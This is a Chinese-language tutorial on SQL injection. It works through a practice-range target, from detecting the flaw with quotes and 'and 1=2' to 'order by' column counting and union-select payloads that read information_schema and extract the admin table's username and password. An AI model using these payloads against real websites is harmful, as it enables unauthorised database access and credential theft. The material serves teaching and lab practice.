渗透测试之sql注入
什么是SQL注入?
SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
SQL注入的原理是什么?
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(用户输入的数据,被当SQL语句在目标服务器上来进行执行,以此来获得自己想要的数据)
SQL注入有哪几种类型?
SQL注入类型有以下6种:1. 数字类型的注入;2. 字串类型的注入;3. GET注入;4. POST注入;5. COOKIE注入;6. HTTP注入。SQL注入是通过将恶意的 SQL 查询或添加语句插入到应用的输入参数中,再在后台 SQL 服务器上解析执行进行的攻击。
数字类型注入
1.1如何判断是否存在sql注入
我们在封神台靶场上来进行测验 靶场地址
靶场页面就是这样的
点击查看新闻1
会出现id=1 在id=1后面输入一个单引号 ‘ 单引号是英文的单引号,并且在url输入的字符都应为英文
输入之后他会报错 回想一下没输入之前页面上是有 猫舍介绍 输入之后页面却不显示 这是因为不符合语法 所以该语句肯定会出错 导致脚本程序无法从数据库获取数据 从而使原来的页面出现异常
继续在id=1 后面输入 and 1=1 1和and之间需要空格
这时它的页面怎么是又是正常的 是因为语句正确 执行正常 返回的数据与原始请求无任何差异
把id=1 and 1=1 改成 id=1 and 1=2
当id=1 and 1=2 页面怎么又报错了 因为虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为假,所以返回数据与原始请求有差异。如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。
如何获取目标网站的数据
既然确定了此网站存在SQL注入 那么我们就要获取到我们想到得到的数据
1.1 查字段数
在id=1 后面输入 order by 1 ,order by 2, order by 3 …… 直到页面报错
当输入到 order by 3 时页面报错 那么它的字段数应为2 因为order by 2 时他并没有报错 order by 3 时报错 证明它并不存在3个字段 所以他的字段数应该为2
查询回显点
在id=1后输入 and 1=2 union select 1,2 看到了没他的页面出现了2 所以他的回显点为2
查询当前使用库
查询表
1 | ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 |
表名为 admin
查字段
1 | ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 |
1 | ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 |
查用户名
用户名为admin
1 | ?id=1 and 1=2 union select 1,username from admin limit 0,1 |
查密码
密码为hellohack
1 | ?id=1 and 1=2 union select 1,password from admin limit 0,1 |